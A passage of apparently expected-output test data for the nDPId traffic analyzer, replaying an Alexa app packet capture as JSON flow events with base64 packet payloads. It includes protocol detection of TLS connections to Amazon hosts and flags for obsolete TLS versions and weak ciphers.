vLIg2t4ZHGA\/t044XX2PzruiBa8Y+xLppFmkhyTfl9BF0XcbflSpnNwCaja9eoGn5mZmEt7B1vkuUPJM5sqbZNGTt83c2L4UuVRYDAwAEDgAAAA=="} +00415{"flow_id":42,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":413,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976043,"pkt_ts_usec":946397,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoJo9AAEAGJrysECrYSBXOh6SRAbtDcGqvtQQIRVAQAWKvNwAA"} +00415{"flow_id":42,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":414,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976043,"pkt_ts_usec":946753,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoJpBAAEAGJrusECrYSBXOh6SRAbtDcGqvtQQN+VAQAW2peAAA"} +00415{"flow_id":42,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":415,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976043,"pkt_ts_usec":946940,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoJpFAAEAGJrqsECrYSBXOh6SRAbtDcGqvtQQTrVAQAXmjuAAA"} +00415{"flow_id":42,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":416,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976043,"pkt_ts_usec":947071,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoJpJAAEAGJrmsECrYSBXOh6SRAbtDcGqvtQQWJ1AQAYShMwAA"} +00587{"flow_id":42,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":417,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976043,"pkt_ts_usec":957154,"pkt_caplen":180,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":180,"pkt_l4_len":146,"pkt":"AMDKkaPvePiC0\/vCCABFAACmJpNAAEAGJjqsECrYSBXOh6SRAbtDcGqvtQQWJ1AYAYRaIgAAFgMDAEYQAABCQQQ2yyWqrplCs8nLaVkdkOZCEd7U4GgWDa9faxzobzdjTI4\/PHgKHmlWUYeHBoQaCi0yLOIgQl18jcTwXDKIApxAFAMDAAEBFgMDACgAAAAAAAAAAPVEUa5Au9r71L4PDHj7x8ZMTILtApPQDLTOyxz1IEXS"} +00694{"flow_id":43,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":423,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":129777,"pkt_caplen":259,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":259,"pkt_l4_len":225,"pkt":"AMDKkaPvePiC0\/vCCABFAAD1byBAAEAG3V2sECrYSBXOh6SSAbsCViBxEm5sr1AYAVf8bgAAFgMBAMgBAADEAwOSNimGSrtikrr4BiDGBJaapUtZMMHJl95wUbRDfz5SFQAAIJqazKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAeyoqAAD\/AQABAAAAABYAFAAAEWZscy1uYS5hbWF6b24uY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAIOjoAHQAXABiKigABAA=="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":424,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1490976044189,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45673,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":424,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":189172,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8KphAAEAGHFesECrYNF7ohrJpAbvSj2UKAAAAAKAC\/\/8X6wAAAgQFtAQCCAoA9k+SAAAAAAEDAwg="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":425,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1490976044219,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45674,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":425,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":219115,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8UU1AAEAG9aGsECrYNF7ohrJqAbsS8h7YAAAAAKAC\/\/8dtwAAAgQFtAQCCAoA9k+VAAAAAAEDAwg="} +00427{"flow_id":44,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":426,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":265954,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwK9ZAAOcGdCQ0XuiGrBAq2AG7smlcwjrL0o9lC3ASH\/7s8AAAAgQFtAEDAwY="} +00414{"flow_id":44,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":427,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":267960,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoKplAAEAGHGqsECrYNF7ohrJpAbvSj2ULXMI6zFAQAVc3YgAA"} +00739{"flow_id":44,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":428,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":269016,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXKppAAEAGG3qsECrYNF7ohrJpAbvSj2ULXMI6zFAYAVcFOAAAFgMBAOoBAADmAwNdGKNvzWhzY9OhvyZ+keLLKk\/7AQzq3mwK9RBmTgVI5yCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgWlrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9qqoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACBoaAB0AFwAYamoAAQA="} +00736{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":428,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":44,"flow_packet_id":4,"flow_first_seen":1490976044189,"flow_last_seen":1490976044269,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45673,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00427{"flow_id":45,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":430,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":285893,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwZ65AAOcGOEw0XuiGrBAq2AG7smoL+FEyEvIe2XASH\/4tIwAAAgQFtAEDAwY="} +00415{"flow_id":45,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":431,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":287837,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoUU5AAEAG9bSsECrYNF7ohrJqAbsS8h7ZC\/hRM1AQAVd3lAAA"} +00739{"flow_id":45,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":432,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":288914,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXUU9AAEAG9MSsECrYNF7ohrJqAbsS8h7ZC\/hRM1AYAVcwFgAAFgMBAOoBAADmAwN0wOf7tRdLaTVmj8QP9secnQ3jNnC0CYFCDog2row9lyCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgenrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB96uoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACMrKAB0AFwAY+voAAQA="} +00736{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":432,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":45,"flow_packet_id":4,"flow_first_seen":1490976044219,"flow_last_seen":1490976044288,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45674,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00423{"flow_id":44,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":433,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":330889,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoGa5AAOcGhlQ0XuiGrBAq2AG7smlcwjrM0o9l+lAQf\/i30QAAAAAAAAAA"} +00535{"flow_id":44,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":434,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":331031,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9GbBAAOcGhf00XuiGrBAq2AG7smlcwjrM0o9l+lAYf\/gsSgAAFgMBAEoCAABGAwFY3n0s+OFwAO8V\/5J6dyfR1C1CHVmCDi1eUwthRlD2rSCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00851{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":434,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":44,"flow_packet_id":6,"flow_first_seen":1490976044189,"flow_last_seen":1490976044331,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45673,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00492{"flow_id":44,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":435,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":331076,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdGbJAAOcGhhs0XuiGrBAq2AG7smlcwjsh0o9l+lAYf\/hUwAAAFgMBADAnovXOyV8I2l\/aGa4Z1HI7eesiC0mUpD5+e4a9mo+VIF8oB\/XZKt\/k1+6yk4TgmJU="} +00414{"flow_id":44,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":436,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":334376,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoKptAAEAGHGisECrYNF7ohrJpAbvSj2X6XMI7IVAQAVc2HgAA"} +00414{"flow_id":44,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":437,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":335539,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoKpxAAEAGHGesECrYNF7ohrJpAbvSj2X6XMI7VlAQAVc16QAA"} +00498{"flow_id":44,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":438,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":335796,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjKp1AAEAGHCusECrYNF7ohrJpAbvSj2X6XMI7VlAYAVeeJQAAFAMBAAEBFgMBADDD8g9Bb9kx5MvGwE9Ys5aeedceWCQb0ca+0pJaEL07GviC\/1hAQXHEmyDAX6V2svE="} +01954{"flow_id":44,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":439,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":358207,"pkt_caplen":1184,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1184,"pkt_l4_len":1150,"pkt":"AMDKkaPvePiC0\/vCCABFAASSKp5AAEAGF\/usECrYNF7ohrJpAbvSj2Y1XMI7VlAYAVduRgAAFwMBACD6x\/Zk0wa9qRDBPzApOk9T4ya3blcW9w7ApUDXeNnBnRcDAQRAtpi0OCxmenL7SJXTpT9K+d1V4BWKnZmYpgrD2cTVP7OYZC5ne7g\/yaVBLkpp8iMUm78s878m+0UdddxZXnk6JFhEOc\/KBocdHFFdDyZK5bBrKAYGWwgIdHm04hIW\/KcZIDM6n8Ot2fx9IKro7XnGt7D7JKO\/mPThYhQX54JmUvXVzZQe4hOv1DWNzmuPYV59UJwJJ2G+ceNAtS\/UcibInMAqeK7x0\/pWwIP9immIPdN9rCXsQwD3LGHuiWupr6mszJxc1VoZBXa\/Xy\/m7K9TBtxGEI7oSNq0sLVcHJMQnW5aqu64+3HOXKat622tDSzbnsdENV+HcXmorZtH+AUESxgnN1xn46L8gNn6HuGBnkqSr43u\/awrOAa3OV\/6CefI3yb48\/CK5q6s6ULRRBv2NCsfFVlHivJ5svg811t3pzzqAETXkNC46B8nnjgEyzWCmaRNnDYvMKywGUio9PT8Yg8FHzpp6F+EW5WlQjUMQz5ejUZwPXWwGmXCENtph\/+6VTtepSRntfkav1dorjGc0mYB99EeBK03hpsTbG9M7IJ5igulYwF++XZwA96LHS8K21q1RuWcvvvgZNUFEkPrD4h\/Mo4eVa9neSmcHKtzOqu\/s+oyHmyObsYQOyGtYjLhd3GzNHgHSlXVFQKyR1rhl4ye1g9qvtOIJ6vP8\/vsC7WS2K9Fzafgl1RNooyeSNu8\/lh5ZmFIlVApbseB26049mAueBi3BF7mPwRG9AXPxZanL3bZEm3HQdJ+vjUZFW\/g99s8KN2yNoWznxxk9FlBUKUI9veK19aely+oK\/cvs5Y55GhoQ0ufCw2zlbMbuTHDKysjTOuzQBzc\/HJy07Mt0cXlhrDgEDxTQl37gFtmHosf7gwj0BHvjexfb8mtVhEIS4RxYR7eNgxZxC3zsNDoh5532ASbtL0Pvl0N1SpottL598Vq8feFQ7MQkwcFQIdVD71nYSfzduRQCudzKalg2XH4fNMVIgWyn8U7yuhJw19V6fhO2w8MP9jqFAcjXj+h0izh13DM5N0tI7P3LYAzZoYewiXnqkDsjPfDGUtjO\/2XO3M2AuhR+4wIKSIQazMUqGyW7YWCXU8dFYTvxIQXOxKANP\/9i2REk2B+w6H3ecAmjHiSN9Y6SRtsGpgv3rgnRKIjlN6LLP4YUzRd1Sjd6Z0lbcWMbOzesWXw1uUQGyC0ltSfrJf884LzrTnAFGTtUH5jUOnhUdElJZePPWuDkuxFBolCztDRXE8FgGGfm3uPS83nJ1Ne7ArJ02wcwHenGcjWSvW5yIzyZk\/6kp3kCG7xNkvc0Y54e5T1dRkqHnuSfPaD+eqZmgg1vM1xHwFGU2n6so3Mg532Db2jaBMLAWbAHIc+SXnIhSkz1ZZka34mhTU291gqxO1V7hTiddNmScPQOnD9RvQm\/ILMnNN3moOZ3RXFWhFf1UV0oZPdWXc="} +00423{"flow_id":45,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":440,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":404656,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAocTtAAOcGLsc0XuiGrBAq2AG7smoL+FEzEvIfyFAQf\/j4AwAAAAAAAAAA"} +00535{"flow_id":45,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":441,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":404790,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9cVFAAOcGLlw0XuiGrBAq2AG7smoL+FEzEvIfyFAYf\/iwjAAAFgMBAEoCAABGAwFY3n0sVxO5X7DJN00ajdk\/JSDP+a79Z9DaYVUUTp6X6SCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00851{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":441,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":45,"flow_packet_id":6,"flow_first_seen":1490976044219,"flow_last_seen":1490976044404,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45674,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00490{"flow_id":45,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":442,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":404834,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdcWBAAOcGLm00XuiGrBAq2AG7smoL+FGIEvIfyFAYf\/gdhwAAFgMBADDVrr4si7BrFvG9TfhBXjNkgRRwAR0mp9ik9R+4xk\/I+FfdYAFc76qSetrnK94Ynuw="} +00416{"flow_id":45,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":443,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":407840,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoUVBAAEAG9bKsECrYNF7ohrJqAbsS8h\/IC\/hRiFAQAVd2UAAA"} +00416{"flow_id":45,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":444,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":408717,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoUVFAAEAG9bGsECrYNF7ohrJqAbsS8h\/IC\/hRvVAQAVd2GwAA"} +00501{"flow_id":45,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":445,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":409332,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjUVJAAEAG9XWsECrYNF7ohrJqAbsS8h\/IC\/hRvVAYAVdrywAAFAMBAAEBFgMBADCOHtGSOQoXwoM4ImwkMLq2MGZIqvh70AapoBXhSb7+5uKO+ttg\/KT\/xkU9o7Ij7XU="} +00424{"flow_id":44,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":446,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":410086,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoHvlAAOcGgQk0XuiGrBAq2AG7smlcwjtW0o9mNVAQf\/e3DQAAAAAAAAAA"} +00423{"flow_id":44,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":447,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":414547,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoHyxAAOcGgNY0XuiGrBAq2AG7smlcwjtW0o9qn1AQf+WytQAAAAAAAAAA"} +00445{"flow_id":31,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":448,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":419794,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8G7BAAEAGvmmsECrYCsl+8Z0IH5CvoFXQAAAAAKAC\/\/\/UsgAAAgQFtAQCCAoA9k+qAAAAAAEDAwg="} +01555{"flow_id":44,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":449,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":420329,"pkt_caplen":891,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":891,"pkt_l4_len":857,"pkt":"ePiC0\/vCAMDKkVoBCABFAANtIBpAAOcGfKM0XuiGrBAq2AG7smlcwjtW0o9qn1AY\/bgHugAAFwMBA0AeXxoRGP2Qcycw9Oku2MFi3JZC4TsEXWCpZLHAqwV0V8ctpgFZtvXA8XRt4xvpuWXitH972oEKdPO\/gtfDWS\/xXkq3l\/LSq6ExGLZRNdv8krLmhZ5uHa8h32JtXdjkwDPdEJqHo8WxchcEYBHf01Qc6QpaS2Lx4ZmkkBgNVJYAnkLswAmjwLziCZh5TRXWb2dpFswnjFzZfSnBD8rZ1gRURdYjP1G5KTbonLFbbD++KLD+Omq2iGBzduXxhV0Ukyku8MGQo7qGMZY6H6wnxNvk0Hx7SUAQTV2BzwuUxEiIEUdDzCtHryj4\/6MZ7QgnLYqfod1czWuu7tTOKdiJSfC10lBqUtjyBC3qKzBufcYb4J\/vlEq8xL5hFIybWFhCQslLLtmfHC5lFU6qWi7KuD+CieiFkegTfAj0oYYskKUopnC2BtR8bW5NVWBUunXmtOpYuvg8Xcyc17yw8t+vxsZVD97QghmHKvGyVzw3VIrSumb9MCn0X4a6mjbgCkhNQnc878RzC\/J+OGRiX0fl0Wwe\/gp5h324Qm7fM7+p+g1D3v9hD3T+nrDDOpiCCW\/yXNJGitfmJBsJkO7RMpG\/T9TTt1w02uO+ooKFP5SmtjF+ORuqHlc9yW1ChKXtTfMPduf5JRThe2HNrXmiR6jbWhRWiR361amfZqwNEyTk8zOmi\/D2uV6q8KApBgKEFLjOnS9+sjWtqlUtKMw3y+DUTvhiszAGFERPIGzazC8yMEUbVtBLiBDvk354OX9I71UfzKU9WiEN+VkoDxMhN4W0tGh2CQ\/ZJf\/PNRvci2nlRp1vuPnoMPPynDgMJoSMiUZGFHYFpWj0FW+a3ZsrH8cFTaoKfmetAFalHpJs5ZhH\/74Uzz0Vo8q1gwPUbc9IrDiYuoSZTg2zPVMqsO4hEO+VYdKFIMlRM7nmamYWLjp+ZtlGO